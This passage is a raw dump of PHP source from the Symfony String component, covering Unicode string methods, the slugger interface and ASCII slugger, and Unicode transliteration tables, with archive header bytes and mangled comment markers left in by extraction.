\GRAPHEME_EXTR_MAXBYTES, \strlen($this->string) - \strlen($suffix)), $suffix, 0, 'UTF-8'); } return $suffix === grapheme_extract($this->string, \strlen($suffix), \GRAPHEME_EXTR_MAXBYTES, \strlen($this->string) - \strlen($suffix)); } public function equalsTo($string): bool { if ($string instanceof AbstractString) { $string = $string->string; } elseif (\is_array($string) \|\| $string instanceof \Traversable) { return parent::equalsTo($string); } else { $string = (string) $string; } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($string, $form) ?: $string = normalizer_normalize($string, $form); if ('' !== $string && false !== $string && $this->ignoreCase) { return \strlen($string) === \strlen($this->string) && 0 === mb_stripos($this->string, $string, 0, 'UTF-8'); } return $string === $this->string; } public function indexOf($needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (\is_array($needle) \|\| $needle instanceof \Traversable) { return parent::indexOf($needle, $offset); } else { $needle = (string) $needle; } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($needle, $form) ?: $needle = normalizer_normalize($needle, $form); if ('' === $needle \|\| false === $needle) { return null; } try { $i = $this->ignoreCase ? grapheme_stripos($this->string, $needle, $offset) : grapheme_strpos($this->string, $needle, $offset); } catch (\ValueError $e) { return null; } return false === $i ? null : $i; } public function indexOfLast($needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (\is_array($needle) \|\| $needle instanceof \Traversable) { return parent::indexOfLast($needle, $offset); } else { $needle = (string) $needle; } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($needle, $form) ?: $needle = normalizer_normalize($needle, $form); if ('' === $needle \|\| false === $needle) { return null; } $string = $this->string; if (0 > $offset) { // workaround https://bugs.php.net/74264 if (0 > $offset += grapheme_strlen($needle)) { $string = grapheme_substr($string, 0, $offset); } $offset = 0; } $i = $this->ignoreCase ? grapheme_strripos($string, $needle, $offset) : grapheme_strrpos($string, $needle, $offset); return false === $i ? null : $i; } public function join(array $strings, string $lastGlue = null): AbstractString { $str = parent::join($strings, $lastGlue); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); return $str; } public function length(): int { return grapheme_strlen($this->string); } /* * @return static / public function normalize(int $form = self::NFC): parent { $str = clone $this; if (\in_array($form, [self::NFC, self::NFKC], true)) { normalizer_is_normalized($str->string, $form) ?: $str->string = normalizer_normalize($str->string, $form); } elseif (!\in_array($form, [self::NFD, self::NFKD], true)) { throw new InvalidArgumentException('Unsupported normalization form.'); } elseif (!normalizer_is_normalized($str->string, $form)) { $str->string = normalizer_normalize($str->string, $form); $str->ignoreCase = null; } return $str; } public function prepend(string ...$prefix): AbstractString { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$this->string; normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); if (false === $str->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function replace(string $from, string $to): AbstractString { $str = clone $this; normalizer_is_normalized($from) ?: $from = normalizer_normalize($from); if ('' !== $from && false !== $from) { $tail = $str->string; $result = ''; $indexOf = $this->ignoreCase ? 'grapheme_stripos' : 'grapheme_strpos'; while ('' !== $tail && false !== $i = $indexOf($tail, $from)) { $slice = grapheme_substr($tail, 0, $i); $result .= $slice.$to; $tail = substr($tail, \strlen($slice) + \strlen($from)); } $str->string = $result.$tail; normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); if (false === $str->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } } return $str; } public function replaceMatches(string $fromRegexp, $to): AbstractString { $str = parent::replaceMatches($fromRegexp, $to); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); return $str; } public function slice(int $start = 0, int $length = null): AbstractString { $str = clone $this; if (\PHP_VERSION_ID < 80000 && 0 > $start && grapheme_strlen($this->string) < -$start) { $start = 0; } $str->string = (string) grapheme_substr($this->string, $start, $length ?? 2147483647); return $str; } public function splice(string $replacement, int $start = 0, int $length = null): AbstractString { $str = clone $this; if (\PHP_VERSION_ID < 80000 && 0 > $start && grapheme_strlen($this->string) < -$start) { $start = 0; } $start = $start ? \strlen(grapheme_substr($this->string, 0, $start)) : 0; $length = $length ? \strlen(grapheme_substr($this->string, $start, $length ?? 2147483647)) : $length; $str->string = substr_replace($this->string, $replacement, $start, $length ?? 2147483647); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); if (false === $str->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function split(string $delimiter, int $limit = null, int $flags = null): array { if (1 > $limit = $limit ?? 2147483647) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter.'u', $limit, $flags); } normalizer_is_normalized($delimiter) ?: $delimiter = normalizer_normalize($delimiter); if (false === $delimiter) { throw new InvalidArgumentException('Split delimiter is not a valid UTF-8 string.'); } $str = clone $this; $tail = $this->string; $chunks = []; $indexOf = $this->ignoreCase ? 'grapheme_stripos' : 'grapheme_strpos'; while (1 < $limit && false !== $i = $indexOf($tail, $delimiter)) { $str->string = grapheme_substr($tail, 0, $i); $chunks[] = clone $str; $tail = substr($tail, \strlen($str->string) + \strlen($delimiter)); --$limit; } $str->string = $tail; $chunks[] = clone $str; return $chunks; } public function startsWith($prefix): bool { if ($prefix instanceof AbstractString) { $prefix = $prefix->string; } elseif (\is_array($prefix) \|\| $prefix instanceof \Traversable) { return parent::startsWith($prefix); } else { $prefix = (string) $prefix; } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($prefix, $form) ?: $prefix = normalizer_normalize($prefix, $form); if ('' === $prefix \|\| false === $prefix) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos(grapheme_extract($this->string, \strlen($prefix), \GRAPHEME_EXTR_MAXBYTES), $prefix, 0, 'UTF-8'); } return $prefix === grapheme_extract($this->string, \strlen($prefix), \GRAPHEME_EXTR_MAXBYTES); } public function __wakeup() { if (!\is_string($this->string)) { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string); } public function __clone() { if (null === $this->ignoreCase) { normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string); } $this->ignoreCase = false; } } PK��(�\"�O��Slugger/SluggerInterface.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String\Slugger; use Symfony\Component\String\AbstractUnicodeString; /* * Creates a URL-friendly slug from a given string. * * @author Titouan Galopin <galopintitouan@gmail.com> / interface SluggerInterface { /* * Creates a slug for the given string and locale, using appropriate transliteration when needed. / public function slug(string $string, string $separator = '-', string $locale = null): AbstractUnicodeString; } PK��(�\e��Slugger/AsciiSlugger.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String\Slugger; use Symfony\Component\String\AbstractUnicodeString; use Symfony\Component\String\UnicodeString; use Symfony\Contracts\Translation\LocaleAwareInterface; if (!interface_exists(LocaleAwareInterface::class)) { throw new \LogicException('You cannot use the "Symfony\Component\String\Slugger\AsciiSlugger" as the "symfony/translation-contracts" package is not installed. Try running "composer require symfony/translation-contracts".'); } /* * @author Titouan Galopin <galopintitouan@gmail.com> / class AsciiSlugger implements SluggerInterface, LocaleAwareInterface { private const LOCALE_TO_TRANSLITERATOR_ID = [ 'am' => 'Amharic-Latin', 'ar' => 'Arabic-Latin', 'az' => 'Azerbaijani-Latin', 'be' => 'Belarusian-Latin', 'bg' => 'Bulgarian-Latin', 'bn' => 'Bengali-Latin', 'de' => 'de-ASCII', 'el' => 'Greek-Latin', 'fa' => 'Persian-Latin', 'he' => 'Hebrew-Latin', 'hy' => 'Armenian-Latin', 'ka' => 'Georgian-Latin', 'kk' => 'Kazakh-Latin', 'ky' => 'Kirghiz-Latin', 'ko' => 'Korean-Latin', 'mk' => 'Macedonian-Latin', 'mn' => 'Mongolian-Latin', 'or' => 'Oriya-Latin', 'ps' => 'Pashto-Latin', 'ru' => 'Russian-Latin', 'sr' => 'Serbian-Latin', 'sr_Cyrl' => 'Serbian-Latin', 'th' => 'Thai-Latin', 'tk' => 'Turkmen-Latin', 'uk' => 'Ukrainian-Latin', 'uz' => 'Uzbek-Latin', 'zh' => 'Han-Latin', ]; private $defaultLocale; private $symbolsMap = [ 'en' => ['@' => 'at', '&' => 'and'], ]; /* * Cache of transliterators per locale. * * @var \Transliterator[] / private $transliterators = []; /* * @param array\|\Closure\|null $symbolsMap / public function __construct(string $defaultLocale = null, $symbolsMap = null) { if (null !== $symbolsMap && !\is_array($symbolsMap) && !$symbolsMap instanceof \Closure) { throw new \TypeError(sprintf('Argument 2 passed to "%s()" must be array, Closure or null, "%s" given.', __METHOD__, \gettype($symbolsMap))); } $this->defaultLocale = $defaultLocale; $this->symbolsMap = $symbolsMap ?? $this->symbolsMap; } /* * {@inheritdoc} / public function setLocale($locale) { $this->defaultLocale = $locale; } /* * {@inheritdoc} / public function getLocale() { return $this->defaultLocale; } /* * {@inheritdoc} / public function slug(string $string, string $separator = '-', string $locale = null): AbstractUnicodeString { $locale = $locale ?? $this->defaultLocale; $transliterator = []; if ($locale && ('de' === $locale \|\| 0 === strpos($locale, 'de_'))) { // Use the shortcut for German in UnicodeString::ascii() if possible (faster and no requirement on intl) $transliterator = ['de-ASCII']; } elseif (\function_exists('transliterator_transliterate') && $locale) { $transliterator = (array) $this->createTransliterator($locale); } if ($this->symbolsMap instanceof \Closure) { // If the symbols map is passed as a closure, there is no need to fallback to the parent locale // as the closure can just provide substitutions for all locales of interest. $symbolsMap = $this->symbolsMap; array_unshift($transliterator, static function ($s) use ($symbolsMap, $locale) { return $symbolsMap($s, $locale); }); } $unicodeString = (new UnicodeString($string))->ascii($transliterator); if (\is_array($this->symbolsMap)) { $map = null; if (isset($this->symbolsMap[$locale])) { $map = $this->symbolsMap[$locale]; } else { $parent = self::getParentLocale($locale); if ($parent && isset($this->symbolsMap[$parent])) { $map = $this->symbolsMap[$parent]; } } if ($map) { foreach ($map as $char => $replace) { $unicodeString = $unicodeString->replace($char, ' '.$replace.' '); } } } return $unicodeString ->replaceMatches('/[^A-Za-z0-9]++/', $separator) ->trim($separator) ; } private function createTransliterator(string $locale): ?\Transliterator { if (\array_key_exists($locale, $this->transliterators)) { return $this->transliterators[$locale]; } // Exact locale supported, cache and return if ($id = self::LOCALE_TO_TRANSLITERATOR_ID[$locale] ?? null) { return $this->transliterators[$locale] = \Transliterator::create($id.'/BGN') ?? \Transliterator::create($id); } // Locale not supported and no parent, fallback to any-latin if (!$parent = self::getParentLocale($locale)) { return $this->transliterators[$locale] = null; } // Try to use the parent locale (ie. try "de" for "de_AT") and cache both locales if ($id = self::LOCALE_TO_TRANSLITERATOR_ID[$parent] ?? null) { $transliterator = \Transliterator::create($id.'/BGN') ?? \Transliterator::create($id); } return $this->transliterators[$locale] = $this->transliterators[$parent] = $transliterator ?? null; } private static function getParentLocale(?string $locale): ?string { if (!$locale) { return null; } if (false === $str = strrchr($locale, '_')) { // no parent locale return null; } return substr($locale, 0, -\strlen($str)); } } PK��(�\�}ݙk��k��AbstractUnicodeString.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /* * Represents a string of abstract Unicode characters. * * Unicode defines 3 types of "characters" (bytes, code points and grapheme clusters). * This class is the abstract type to use as a type-hint when the logic you want to * implement is Unicode-aware but doesn't care about code points vs grapheme clusters. * * @author Nicolas Grekas <p@tchwork.com> * * @throws ExceptionInterface / abstract class AbstractUnicodeString extends AbstractString { public const NFC = \Normalizer::NFC; public const NFD = \Normalizer::NFD; public const NFKC = \Normalizer::NFKC; public const NFKD = \Normalizer::NFKD; // all ASCII letters sorted by typical frequency of occurrence private const ASCII = "\x20\x65\x69\x61\x73\x6E\x74\x72\x6F\x6C\x75\x64\x5D\x5B\x63\x6D\x70\x27\x0A\x67\x7C\x68\x76\x2E\x66\x62\x2C\x3A\x3D\x2D\x71\x31\x30\x43\x32\x2A\x79\x78\x29\x28\x4C\x39\x41\x53\x2F\x50\x22\x45\x6A\x4D\x49\x6B\x33\x3E\x35\x54\x3C\x44\x34\x7D\x42\x7B\x38\x46\x77\x52\x36\x37\x55\x47\x4E\x3B\x4A\x7A\x56\x23\x48\x4F\x57\x5F\x26\x21\x4B\x3F\x58\x51\x25\x59\x5C\x09\x5A\x2B\x7E\x5E\x24\x40\x60\x7F\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"; // the subset of folded case mappings that is not in lower case mappings private const FOLD_FROM = ['İ', 'µ', 'ſ', "\xCD\x85", 'ς', 'ϐ', 'ϑ', 'ϕ', 'ϖ', 'ϰ', 'ϱ', 'ϵ', 'ẛ', "\xE1\xBE\xBE", 'ß', 'ŉ', 'ǰ', 'ΐ', 'ΰ', 'և', 'ẖ', 'ẗ', 'ẘ', 'ẙ', 'ẚ', 'ẞ', 'ὐ', 'ὒ', 'ὔ', 'ὖ', 'ᾀ', 'ᾁ', 'ᾂ', 'ᾃ', 'ᾄ', 'ᾅ', 'ᾆ', 'ᾇ', 'ᾈ', 'ᾉ', 'ᾊ', 'ᾋ', 'ᾌ', 'ᾍ', 'ᾎ', 'ᾏ', 'ᾐ', 'ᾑ', 'ᾒ', 'ᾓ', 'ᾔ', 'ᾕ', 'ᾖ', 'ᾗ', 'ᾘ', 'ᾙ', 'ᾚ', 'ᾛ', 'ᾜ', 'ᾝ', 'ᾞ', 'ᾟ', 'ᾠ', 'ᾡ', 'ᾢ', 'ᾣ', 'ᾤ', 'ᾥ', 'ᾦ', 'ᾧ', 'ᾨ', 'ᾩ', 'ᾪ', 'ᾫ', 'ᾬ', 'ᾭ', 'ᾮ', 'ᾯ', 'ᾲ', 'ᾳ', 'ᾴ', 'ᾶ', 'ᾷ', 'ᾼ', 'ῂ', 'ῃ', 'ῄ', 'ῆ', 'ῇ', 'ῌ', 'ῒ', 'ῖ', 'ῗ', 'ῢ', 'ῤ', 'ῦ', 'ῧ', 'ῲ', 'ῳ', 'ῴ', 'ῶ', 'ῷ', 'ῼ', 'ﬀ', 'ﬁ', 'ﬂ', 'ﬃ', 'ﬄ', 'ﬅ', 'ﬆ', 'ﬓ', 'ﬔ', 'ﬕ', 'ﬖ', 'ﬗ']; private const FOLD_TO = ['i̇', 'μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', 'ṡ', 'ι', 'ss', 'ʼn', 'ǰ', 'ΐ', 'ΰ', 'եւ', 'ẖ', 'ẗ', 'ẘ', 'ẙ', 'aʾ', 'ss', 'ὐ', 'ὒ', 'ὔ', 'ὖ', 'ἀι', 'ἁι', 'ἂι', 'ἃι', 'ἄι', 'ἅι', 'ἆι', 'ἇι', 'ἀι', 'ἁι', 'ἂι', 'ἃι', 'ἄι', 'ἅι', 'ἆι', 'ἇι', 'ἠι', 'ἡι', 'ἢι', 'ἣι', 'ἤι', 'ἥι', 'ἦι', 'ἧι', 'ἠι', 'ἡι', 'ἢι', 'ἣι', 'ἤι', 'ἥι', 'ἦι', 'ἧι', 'ὠι', 'ὡι', 'ὢι', 'ὣι', 'ὤι', 'ὥι', 'ὦι', 'ὧι', 'ὠι', 'ὡι', 'ὢι', 'ὣι', 'ὤι', 'ὥι', 'ὦι', 'ὧι', 'ὰι', 'αι', 'άι', 'ᾶ', 'ᾶι', 'αι', 'ὴι', 'ηι', 'ήι', 'ῆ', 'ῆι', 'ηι', 'ῒ', 'ῖ', 'ῗ', 'ῢ', 'ῤ', 'ῦ', 'ῧ', 'ὼι', 'ωι', 'ώι', 'ῶ', 'ῶι', 'ωι', 'ff', 'fi', 'fl', 'ffi', 'ffl', 'st', 'st', 'մն', 'մե', 'մի', 'վն', 'մխ']; // the subset of upper case mappings that map one code point to many code points private const UPPER_FROM = ['ß', 'ﬀ', 'ﬁ', 'ﬂ', 'ﬃ', 'ﬄ', 'ﬅ', 'ﬆ', 'և', 'ﬓ', 'ﬔ', 'ﬕ', 'ﬖ', 'ﬗ', 'ŉ', 'ΐ', 'ΰ', 'ǰ', 'ẖ', 'ẗ', 'ẘ', 'ẙ', 'ẚ', 'ὐ', 'ὒ', 'ὔ', 'ὖ', 'ᾶ', 'ῆ', 'ῒ', 'ΐ', 'ῖ', 'ῗ', 'ῢ', 'ΰ', 'ῤ', 'ῦ', 'ῧ', 'ῶ']; private const UPPER_TO = ['SS', 'FF', 'FI', 'FL', 'FFI', 'FFL', 'ST', 'ST', 'ԵՒ', 'ՄՆ', 'ՄԵ', 'ՄԻ', 'ՎՆ', 'ՄԽ', 'ʼN', 'Ϊ́', 'Ϋ́', 'J̌', 'H̱', 'T̈', 'W̊', 'Y̊', 'Aʾ', 'Υ̓', 'Υ̓̀', 'Υ̓́', 'Υ̓͂', 'Α͂', 'Η͂', 'Ϊ̀', 'Ϊ́', 'Ι͂', 'Ϊ͂', 'Ϋ̀', 'Ϋ́', 'Ρ̓', 'Υ͂', 'Ϋ͂', 'Ω͂']; // the subset of https://github.com/unicode-org/cldr/blob/master/common/transforms/Latin-ASCII.xml that is not in NFKD private const TRANSLIT_FROM = ['Æ', 'Ð', 'Ø', 'Þ', 'ß', 'æ', 'ð', 'ø', 'þ', 'Đ', 'đ', 'Ħ', 'ħ', 'ı', 'ĸ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'ŉ', 'Ŋ', 'ŋ', 'Œ', 'œ', 'Ŧ', 'ŧ', 'ƀ', 'Ɓ', 'Ƃ', 'ƃ', 'Ƈ', 'ƈ', 'Ɖ', 'Ɗ', 'Ƌ', 'ƌ', 'Ɛ', 'Ƒ', 'ƒ', 'Ɠ', 'ƕ', 'Ɩ', 'Ɨ', 'Ƙ', 'ƙ', 'ƚ', 'Ɲ', 'ƞ', 'Ƣ', 'ƣ', 'Ƥ', 'ƥ', 'ƫ', 'Ƭ', 'ƭ', 'Ʈ', 'Ʋ', 'Ƴ', 'ƴ', 'Ƶ', 'ƶ', 'Ǆ', 'ǅ', 'ǆ', 'Ǥ', 'ǥ', 'ȡ', 'Ȥ', 'ȥ', 'ȴ', 'ȵ', 'ȶ', 'ȷ', 'ȸ', 'ȹ', 'Ⱥ', 'Ȼ', 'ȼ', 'Ƚ', 'Ⱦ', 'ȿ', 'ɀ', 'Ƀ', 'Ʉ', 'Ɇ', 'ɇ', 'Ɉ', 'ɉ', 'Ɍ', 'ɍ', 'Ɏ', 'ɏ', 'ɓ', 'ɕ', 'ɖ', 'ɗ', 'ɛ', 'ɟ', 'ɠ', 'ɡ', 'ɢ', 'ɦ', 'ɧ', 'ɨ', 'ɪ', 'ɫ', 'ɬ', 'ɭ', 'ɱ', 'ɲ', 'ɳ', 'ɴ', 'ɶ', 'ɼ', 'ɽ', 'ɾ', 'ʀ', 'ʂ', 'ʈ', 'ʉ', 'ʋ', 'ʏ', 'ʐ', 'ʑ', 'ʙ', 'ʛ', 'ʜ', 'ʝ', 'ʟ', 'ʠ', 'ʣ', 'ʥ', 'ʦ', 'ʪ', 'ʫ', 'ᴀ', 'ᴁ', 'ᴃ', 'ᴄ', 'ᴅ', 'ᴆ', 'ᴇ', 'ᴊ', 'ᴋ', 'ᴌ', 'ᴍ', 'ᴏ', 'ᴘ', 'ᴛ', 'ᴜ', 'ᴠ', 'ᴡ', 'ᴢ', 'ᵫ', 'ᵬ', 'ᵭ', 'ᵮ', 'ᵯ', 'ᵰ', 'ᵱ', 'ᵲ', 'ᵳ', 'ᵴ', 'ᵵ', 'ᵶ', 'ᵺ', 'ᵻ', 'ᵽ', 'ᵾ', 'ᶀ', 'ᶁ', 'ᶂ', 'ᶃ', 'ᶄ', 'ᶅ', 'ᶆ', 'ᶇ', 'ᶈ', 'ᶉ', 'ᶊ', 'ᶌ', 'ᶍ', 'ᶎ', 'ᶏ', 'ᶑ', 'ᶒ', 'ᶓ', 'ᶖ', 'ᶙ', 'ẚ', 'ẜ', 'ẝ', 'ẞ', 'Ỻ', 'ỻ', 'Ỽ', 'ỽ', 'Ỿ', 'ỿ', '©', '®', '₠', '₢', '₣', '₤', '₧', '₺', '₹', 'ℌ', '℞', '㎧', '㎮', '㏆', '㏗', '㏞', '㏟', '¼', '½', '¾', '⅓', '⅔', '⅕', '⅖', '⅗', '⅘', '⅙', '⅚', '⅛', '⅜', '⅝', '⅞', '⅟', '〇', '‘', '’', '‚', '‛', '“', '”', '„', '‟', '′', '″', '〝', '〞', '«', '»', '‹', '›', '‐', '‑', '‒', '–', '—', '―', '︱', '︲', '﹘', '‖', '⁄', '⁅', '⁆', '⁎', '、', '。', '〈', '〉', '《', '》', '〔', '〕', '〘', '〙', '〚', '〛', '︑', '︒', '︹', '︺', '︽', '︾', '︿', '﹀', '﹑', '﹝', '﹞', '｟', '｠', '｡', '､', '×', '÷', '−', '∕', '∖', '∣', '∥', '≪', '≫', '⦅', '⦆']; private const TRANSLIT_TO = ['AE', 'D', 'O', 'TH', 'ss', 'ae', 'd', 'o', 'th', 'D', 'd', 'H', 'h', 'i', 'q', 'L', 'l', 'L', 'l', '\'n', 'N', 'n', 'OE', 'oe', 'T', 't', 'b', 'B', 'B', 'b', 'C', 'c', 'D', 'D', 'D', 'd', 'E', 'F', 'f', 'G', 'hv', 'I', 'I', 'K', 'k', 'l', 'N', 'n', 'OI', 'oi', 'P', 'p', 't', 'T', 't', 'T', 'V', 'Y', 'y', 'Z', 'z', 'DZ', 'Dz', 'dz', 'G', 'g', 'd', 'Z', 'z', 'l', 'n', 't', 'j', 'db', 'qp', 'A', 'C', 'c', 'L', 'T', 's', 'z', 'B', 'U', 'E', 'e', 'J', 'j', 'R', 'r', 'Y', 'y', 'b', 'c', 'd', 'd', 'e', 'j', 'g', 'g', 'G', 'h', 'h', 'i', 'I', 'l', 'l', 'l', 'm', 'n', 'n', 'N', 'OE', 'r', 'r', 'r', 'R', 's', 't', 'u', 'v', 'Y', 'z', 'z', 'B', 'G', 'H', 'j', 'L', 'q', 'dz', 'dz', 'ts', 'ls', 'lz', 'A', 'AE', 'B', 'C', 'D', 'D', 'E', 'J', 'K', 'L', 'M', 'O', 'P', 'T', 'U', 'V', 'W', 'Z', 'ue', 'b', 'd', 'f', 'm', 'n', 'p', 'r', 'r', 's', 't', 'z', 'th', 'I', 'p', 'U', 'b', 'd', 'f', 'g', 'k', 'l', 'm', 'n', 'p', 'r', 's', 'v', 'x', 'z', 'a', 'd', 'e', 'e', 'i', 'u', 'a', 's', 's', 'SS', 'LL', 'll', 'V', 'v', 'Y', 'y', '(C)', '(R)', 'CE', 'Cr', 'Fr.', 'L.', 'Pts', 'TL', 'Rs', 'x', 'Rx', 'm/s', 'rad/s', 'C/kg', 'pH', 'V/m', 'A/m', ' 1/4', ' 1/2', ' 3/4', ' 1/3', ' 2/3', ' 1/5', ' 2/5', ' 3/5', ' 4/5', ' 1/6', ' 5/6', ' 1/8', ' 3/8', ' 5/8', ' 7/8', ' 1/', '0', '\'', '\'', ',', '\'', '"', '"', ',,', '"', '\'', '"', '"', '"', '<<', '>>', '<', '>', '-', '-', '-', '-', '-', '-', '-', '-', '-', '\|\|', '/', '[', ']', '', ',', '.', '<', '>', '<<', '>>', '[', ']', '[', ']', '[', ']', ',', '.', '[', ']', '<<', '>>', '<', '>', ',', '[', ']', '((', '))', '.', ',', '', '/', '-', '/', '\\', '\|', '\|\|', '<<', '>>', '((', '))']; private static $transliterators = []; private static $tableZero; private static $tableWide; /* * @return static / public static function fromCodePoints(int ...$codes): self { $string = ''; foreach ($codes as $code) { if (0x80 > $code %= 0x200000) { $string .= \chr($code); } elseif (0x800 > $code) { $string .= \chr(0xC0 \| $code >> 6).\chr(0x80 \| $code & 0x3F); } elseif (0x10000 > $code) { $string .= \chr(0xE0 \| $code >> 12).\chr(0x80 \| $code >> 6 & 0x3F).\chr(0x80 \| $code & 0x3F); } else { $string .= \chr(0xF0 \| $code >> 18).\chr(0x80 \| $code >> 12 & 0x3F).\chr(0x80 \| $code >> 6 & 0x3F).\chr(0x80 \| $code & 0x3F); } } return new static($string); } /* * Generic UTF-8 to ASCII transliteration. * * Install the intl extension for best results. * * @param string[]\|\Transliterator[]\|\Closure[] $rules See "-Latin" rules from Transliterator::listIDs() / public function ascii(array $rules = []): self { $str = clone $this; $s = $str->string; $str->string = ''; array_unshift($rules, 'nfd'); $rules[] = 'latin-ascii'; if (\function_exists('transliterator_transliterate')) { $rules[] = 'any-latin/bgn'; } $rules[] = 'nfkd'; $rules[] = '[:nonspacing mark:] remove'; while (\strlen($s) - 1 > $i = strspn($s, self::ASCII)) { if (0 < --$i) { $str->string .= substr($s, 0, $i); $s = substr($s, $i); } if (!$rule = array_shift($rules)) { $rules = []; // An empty rule interrupts the next ones } if ($rule instanceof \Transliterator) { $s = $rule->transliterate($s); } elseif ($rule instanceof \Closure) { $s = $rule($s); } elseif ($rule) { if ('nfd' === $rule = strtolower($rule)) { normalizer_is_normalized($s, self::NFD) ?: $s = normalizer_normalize($s, self::NFD); } elseif ('nfkd' === $rule) { normalizer_is_normalized($s, self::NFKD) ?: $s = normalizer_normalize($s, self::NFKD); } elseif ('[:nonspacing mark:] remove' === $rule) { $s = preg_replace('/\p{Mn}++/u', '', $s); } elseif ('latin-ascii' === $rule) { $s = str_replace(self::TRANSLIT_FROM, self::TRANSLIT_TO, $s); } elseif ('de-ascii' === $rule) { $s = preg_replace("/([AUO])\u{0308}(?=\p{Ll})/u", '$1e', $s); $s = str_replace(["a\u{0308}", "o\u{0308}", "u\u{0308}", "A\u{0308}", "O\u{0308}", "U\u{0308}"], ['ae', 'oe', 'ue', 'AE', 'OE', 'UE'], $s); } elseif (\function_exists('transliterator_transliterate')) { if (null === $transliterator = self::$transliterators[$rule] ?? self::$transliterators[$rule] = \Transliterator::create($rule)) { if ('any-latin/bgn' === $rule) { $rule = 'any-latin'; $transliterator = self::$transliterators[$rule] ?? self::$transliterators[$rule] = \Transliterator::create($rule); } if (null === $transliterator) { throw new InvalidArgumentException(sprintf('Unknown transliteration rule "%s".', $rule)); } self::$transliterators['any-latin/bgn'] = $transliterator; } $s = $transliterator->transliterate($s); } } elseif (!\function_exists('iconv')) { $s = preg_replace('/[^\x00-\x7F]/u', '?', $s); } else { $s = @preg_replace_callback('/[^\x00-\x7F]/u', static function ($c) { $c = (string) iconv('UTF-8', 'ASCII//TRANSLIT', $c[0]); if ('' === $c && '' === iconv('UTF-8', 'ASCII//TRANSLIT', '²')) { throw new \LogicException(sprintf('"%s" requires a translit-able iconv implementation, try installing "gnu-libiconv" if you\'re using Alpine Linux.', static::class)); } return 1 < \strlen($c) ? ltrim($c, '\'`"^~') : ('' !== $c ? $c : '?'); }, $s); } } $str->string .= $s; return $str; } public function camel(): parent { $str = clone $this; $str->string = str_replace(' ', '', preg_replace_callback('/\b.(?![A-Z]{2,})/u', static function ($m) use (&$i) { return 1 === ++$i ? ('İ' === $m[0] ? 'i̇' : mb_strtolower($m[0], 'UTF-8')) : mb_convert_case($m[0], \MB_CASE_TITLE, 'UTF-8'); }, preg_replace('/[^\pL0-9]++/u', ' ', $this->string))); return $str; } /** * @return int[] / public function codePointsAt(int $offset): array { $str = $this->slice($offset, 1); if ('' === $str->string) { return []; } $codePoints = []; foreach (preg_split('//u', $str->string, -1, \PREG_SPLIT_NO_EMPTY) as $c) { $codePoints[] = mb_ord($c, 'UTF-8'); } return $codePoints; } public function folded(bool $compat = true): parent { $str = clone $this; if (!$compat \|\| \PHP_VERSION_ID < 70300 \|\| !\defined('Normalizer::NFKC_CF')) { $str->string = normalizer_normalize($str->string, $compat ? \Normalizer::NFKC : \Normalizer::NFC); $str->string = mb_strtolower(str_replace(self::FOLD_FROM, self::FOLD_TO, $this->string), 'UTF-8'); } else { $str->string = normalizer_normalize($str->string, \Normalizer::NFKC_CF); } return $str; } public function join(array $strings, string $lastGlue = null): parent { $str = clone $this; $tail = null !== $lastGlue && 1 < \count($strings) ? $lastGlue.array_pop($strings) : ''; $str->string = implode($this->string, $strings).$tail; if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function lower(): parent { $str = clone $this; $str->string = mb_strtolower(str_replace('İ', 'i̇', $str->string), 'UTF-8'); return $str; } public function match(string $regexp, int $flags = 0, int $offset = 0): array { $match = ((\PREG_PATTERN_ORDER \| \PREG_SET_ORDER) & $flags) ? 'preg_match_all' : 'preg_match'; if ($this->ignoreCase) { $regexp .= 'i'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (false === $match($regexp.'u', $this->string, $matches, $flags \| \PREG_UNMATCHED_AS_NULL, $offset)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && '_ERROR' === substr($k, -6)) { throw new RuntimeException('Matching failed with '.$k.'.'); } } throw new RuntimeException('Matching failed with unknown error code.'); } } finally { restore_error_handler(); } return $matches; } /* * @return static / public function normalize(int $form = 